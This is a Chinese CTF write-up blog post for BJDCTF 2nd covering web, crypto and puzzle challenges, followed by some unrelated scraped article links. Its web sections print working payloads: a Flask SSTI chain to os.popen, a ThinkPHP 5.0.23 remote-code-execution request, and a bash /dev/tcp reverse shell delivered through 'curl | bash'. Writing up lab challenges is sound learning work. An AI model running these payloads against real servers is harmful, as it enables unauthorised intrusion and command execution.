BJDCTF-WP
BJDCTF 2nd WP
引言
- 由于在备考,所以没多少时间做,并且也实属是菜,所以就做了几个题目,这里就分享一下啦 Hi~ o( ̄▽ ̄)ブ
[BJDCTF 2nd]fake google
知识点:SSTI
- 这个最近练得比较多了,所以是做出来的第一个
Web
,考的还是flask
框架的ssti
,并且没做太多的现在,就是在最后读取flag
的时候稍加了一些套路,要base64
一下读取文件 - 我是利用的
warnings.catch_warnings
进行的eval命令执行,最常用的好像没有找到,所以就找了这个 - 先还是使用
{{[].__class__.__mro__[1].__subclasses__()}}
获取基本类的子类,然后直接ctrl+F
查找可以使用的方法
发现存在,由于发现不能直接使用index()
查找索引,所以复制出来获取其索引,发现是第169,然后使用
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
发现成功执行
- 剩下就是命令执行,遍历目录,读取
flag
,这里要说一下的就是,读取flag
时,对读取的文件内容有所过滤,所以要base64
一下读取
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("echo``cat /flag``| base64").read()')}}
- 注:这里博客园的
Markdown
不知道为什么转移不了反斜号,cat /flag
只要一对反引号就行了 (lll¬ω¬)
- 最后解码一下即可得到flag
[BJDCTF 2nd]old-hack
知识点:ThinkPHP5.0.23 远程RCE
- 这题首页就已经有了提示,显示的
Powered by THINKPHP5
,直接联想到tp5
的漏洞,直接搜exp
打即可
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
成功执行,剩下直接读取根目录下的flag即可
[BJDCTF 2nd]duangShell
知识点:反弹shell
题目环境准备
- 花了好久终于把这里弄懂了,现在记录一下
- 这题由于是赛后才做的,所以就只能在
BUUCTF
上做了,由于之前对反弹shell
那一套不怎么了解,所以花了好久 - 由于这题的环境靶机无法访问外网,所以需要一个内网靶机来做,这里就直接用了题目中推荐的
Basic
中的Linux Labs
,由于这台靶机已经安装了lamp
,已指出http服务,所以在Labs
的/var/www/html
新建一个能反弹shell的命令文件,命令:bash -i >& /dev/tcp/ip/port 0>&1
,ip
是内网靶机的ipport
可以随意指定 - 注:这句话是指将
Bash
直接反弹一个shell
到指定ip
端口(部分linux发行版中支持),而且/dev/tcp
这个文件实际不存在,而当你在监听这个端口的时候,对这个文件进行读写,就相当于实现两个主机之间的socket
通信 - 文件环境弄好后,只要在靶机上监听端口就可以利用反弹的shell寻找
flag
了
解题
- 页面提示源码可以通过
.swp
备份文件获取,遂下载,然后使用vim -r index.php.swp
恢复备份文件
这里由于是exec
,他不会回显结果,并且有过滤了太多命令,但是没有限制curl
,所以可以使用curl xxxx|bash
来实现 - 这里要设置并传值给
girl_friend
- 这里我的理解是让题目的
bash
直接执行curl
访问我们写有反弹shell
命令文件的内网靶机,遂实现将题目shell
反弹
然后再在靶机上监听,即可获取到题目shell
- 直接
find
查找flag
find / -name flag
/flag
下的是假的,所以直接cat /etc/demo/P3rh4ps/love/you/flag
得到flag
[BJDCTF 2nd]假猪套天下第一
知识点:Http header
- 这题用到了好多header相关的知识,有好多header字段属实不详细去细究的话,说实话做这个题难度会增加不少
- 大家可以看一下这个文章,有比较详细的header的介绍
https://blog.csdn.net/qq_42350419/article/details/82841192
- 解题:首先打开是个登录界面,尝试万能密码登录发现登录成功,但是似乎没什么用处,遂尝试使用
BP
抓包查看一下,在Raw
的最后面注释里发现玄机<!-- L0g1n.php -->
- 尝试访问,发现这下才步入正轨
猜测与时间戳相关,BP
中发现header中有time
字样,判断是时间戳,又提示要99年后,遂设置2120年的时间戳,可以用python生成,设置time=4738550112
import datetime
ctime = datetime.datetime.strptime('Feb 28, 2120 03:55:12 PM', '%b %d, %Y %I:%M:%S %p').timestamp()
ctime
4738550112.0
- 而后进入下一层,提示要本地访问,从以前的做题经验来说常用的是
X-Forwared-For
和Cilent-IP
,这里貌似只能用Client-IP
,设置Client-IP=127.0.0.1
两者从本质上来收都是实现的反向代理,其差别可见这篇文章https://www.zhihu.com/question/264264051
- 再进入下一层,提示要使发送请求的来源为
gem-love.com
,故设置Referer=gem-love.com
(注:直接这个域名即可,不用加https://) - 再进一步,提示访问
browsers
要是Commodo 64
,所以要设置User-Agent
,google
一下发现是Commodore 64
,设置一下Ua
为这个就行了 - 再到下一层,提示要使发送请求的邮箱使
root@gem-love.com
,这里在上面的链接中有提到,是From
字段,遂设置From =root@gem-love.com
- 进入下层,提示要使用
y1ng.vip
的代理,查阅之后发现,via
字段可以显示经过了哪些代理后才到目标服务器了,也就是说使用了哪种代理,刚好符合这里的意思。遂设置via=y1ng.vip
- 终于到了最后,但是发现仍获取不到
flag
,一开始还以为要设置is-admin=1
,最后在源码里发现一串base64
,解密后就是flag
[BJDCTF 2nd]Schrödinger
知识点:BP抓包,修改cookie,时间戳
- 这题有一点脑洞,查看源码发现了有一个
test.php
,访问发现是一个登录界面,先尝试万能密码登录,发现不行,而后尝试BP
爆破密码,发现思路仍然不对,最后发现首页最下面还有一个框,而后,大致看了一下那段话,发现这个页面似乎就可以爆破密码,于是将test.php
的url填入,发现开始爆破,真就这样就行了?答案是否定的,看下面时间的进行十分缓慢,等它爆破完成估计不知道要多久了,于是BP
抓一下包,发现在Cookie
中有一串base64
,dXNlcg=MTU4NTIzMDc2OQ%3D%3D
,decode
之后发现是时间戳,难道是要把这个时间改大一点,他就可以快速爆破完成了?然而还是没有那么简单,我尝试改到2200
年,发现仍然不行,最后才发现,将其置空的话,进度竟然一下就到了99%
,而后在check
一下,发现爆破虽然成功了,但是还是没有flag
,却给了一个av
号,去B
站搜了一下,最后在评论区发现了flag
,不得不说这题脑洞属实有点大
[BJDCTF 2nd]老文盲了
知识点:脑洞
- 这题实属时坑加脑洞,直接将文字搜索一下,读一下拼音就发现了端倪,最后交flag的时候注意删掉大括号这几个字
flag:BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}
[BJDCTF 2nd]cat_flag
知识点:二进制转字符串
- 一开始没反应过来,后来试着把有鸡腿的记为0,没鸡腿的记为1,化成01二进制字符串,再转ASCII码即可
[BJDCTF 2nd]灵能精通-y1ng
知识点:变种猪圈密码
- 变种猪圈密码,找一下码表对着改一下就好了
[BJDCTF 2nd]燕言燕语-y1ng
知识点: 十六进制,维吉尼亚密码
- 先十六进制转字符串,然后再维吉尼亚密码解密,密钥就是yanzi
[BJDCTF 2nd]Y1nglish-y1ng
知识点:替换密码
- 直接在线解密,发现flag不对,最后出题人放出hint,说要把错误单词改正后提交,遂发现最后一个单词应该是 Cr4ck
[BJDCTF 2nd]rsa0
知识点:基本RSA套路,初中数学
- 等量代换,将已知的p+q,p-q转换到我们所需要的phi和n,然后求逆元d,最后再求解m即可
- exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa0
import gmpy2
from Crypto.Util.number import *
#a=p+q b=p-q
a=17162353559144679042138764130392599487619616736304807356650753313511074468547740997240459020330637407607018451370757739841162760390979956823381951345720928
b=2157944102411263994709908806124613607462762078172843352748093273937884682449698667594757978254948952712563313245682739933249064978139449404711197573108846
c=45301241949589301995180160804303973330820405560962297548184980689249607707456658111351805771592837881785351326731109851752124118781776273507359216672384415019593182742168977641581393719509221130849808495779942628017133428896872236441436256500653209906562574669595813780702154561337014309513479940699909759454
e=13881611
n=(a**2-b**2) //4
phi=n-a+1
d=int(gmpy2.invert(e,phi))
m=pow(c,d,n)
print(long_to_bytes(m))
[BJDCTF 2nd]rsa1
知识点:同上
- 仍然是等量代换
- exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa1
from gmpy2 import iroot,invert
from Crypto.Util.number import *
#p**2+q**2=a
a=230282632694523225937051344416173208141003770756289612804807217657804068791542651564838194212104676551997764018460879226166807005433546876007288091996196539309119708193341213288590014759087592722749150747027103386853090111834756105787095305838589646731702172385691220203268855509181738201501713929481838642498
#p-q=b
b=-4900116095386312405990409603053751102044890401512310635193158977344509279780138297206939893571426574257123980641762453196916366832983541826491201092272814
c=57305478781873469701906886706515374864936174293678370148185292603092343152208523838764818066602190494238364695329068029056956741411335604426893391963871703874286120587046383783936896139251516197205626486457338063805605931966769630762887820549045989322171833789694041829203743398401975653722227935420397574254
e=8671291
n=(b**2-a)//(-2)
temp=2*n+a
temp_1=iroot(temp,2)
#temp_1=20893877754997573728203567845738001284961182394065350971204621396499968057878195283639697317876340959595444095705767445958979789899779232673349184190305080
print(temp_1)
phi=n-temp_1+1
d=int(invert(e,phi))
m=pow(c,d,n)
print(long_to_bytes(m))
总结
- 原本打算借这次机会练一下web,却发现自己还是tcl,后续等官方wp出来后再去学习一下web的一些套路
BJDCTF-WP的更多相关文章
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
- [BUUCTF]PWN——[BJDCTF 2nd]secret
[BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ...
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- wp已死,metro是罪魁祸首!
1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...
- 关于 WP 开发中.xaml 与.xaml.cs 的关系
今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...
- Android,ios,WP三大手机系统对比
从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...
- 搜狗输入法wp风格皮肤
换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...
- 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19
上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...
- 【WP开发】读写剪贴板
在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...
- 【WP开发】不同客户端之间传输加密数据
在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...
随机推荐
- MYSQL数据库配置安装、重置密码以及工具连接
一.下载mysql安装包 下载地址:https://dev.mysql.com/downloads/mysql/ 下载解压好之后,就是一个文件夹的形式. 二.配置环境变量 环境变量的配置,就是把MyS ...
- docker部署gitlab
Docker部署gitlab 一.前提条件 (1) 存在docker (2) 服务器可以联网(外网) (3) 服务器内存至少4G(内存不够会出现502错误) 内存不足502错误 ...
- P1750 出栈序列
这好像是普及难度的吧~ 感觉再次被小学生吊打了........ \(\color{Red}{----------------------=|(●'◡'●)|=我是手动的分割线------------- ...
- E - 梦幻岛宝珠 HYSBZ - 1190 变形01背包 难
E - 梦幻岛宝珠 HYSBZ - 1190 这个题目我觉得很难,看题解都看了很久. 首先可以得到一个大概的思路就是分组,每一个数都可以分成 a*2^b 所以把b相同的数都分成一个组. 在每一组内部 ...
- 完全背包和多重背包的混合 F - The Fewest Coins
http://poj.org/problem?id=3260 这个题目有点小难,我开始没什么头绪,感觉很乱. 后来看了题解,感觉豁然开朗. 题目大意:就是这个人去买东西,东西的价格是T,这个人拥有的纸 ...
- Vue列表实现滚动到指定位置样式改变
这个需求大概是这样子: 我做的一个聊天Demo,在搜索框搜索用户,可以滚动到指定的用户.然后成选中状态. 这是目前状态,我搜索 南宫仆射 ,想要下面的用户列表直接滚动到 南宫仆射 并改变CSS样式. ...
- Spring杂谈 | Spring中的AutowireCandidateResolver
接口定义 用于推断一个特定的beanDefinition是否能作为指定依赖的候选者的策略接口 public interface AutowireCandidateResolver { // 默认情况下 ...
- 王颖奇 20171010129《面向对象程序设计(java)》第十七周学习总结
实验十七 线程同步控制 实验时间 2018-12-10 学习总结: 1.Java通过多线程的并发运行提高系统资源利用 率,改善系统性能. 2.假设有两个或两个以上的线程共享 某个对象,每个线程都调用 ...
- FPGA六位共阳极数码管动态显示
`timescale 1ns/1ps module adc_dis( clk , rst_n , sm_seg , sm_bit ); input clk;//50HZ input rst_n; :] ...
- 使用npoi导入Excel - 带合并单元格--附代码
之前我们在使用npoi导入excel表格的时候,往往会遇见那种带有合并单元格的数据在导入的时候出现合并为空的问题, 也就是只有第一条有数据,其余均为空白.在网上翻了半天也没有找到合适的解决方案,最后还 ...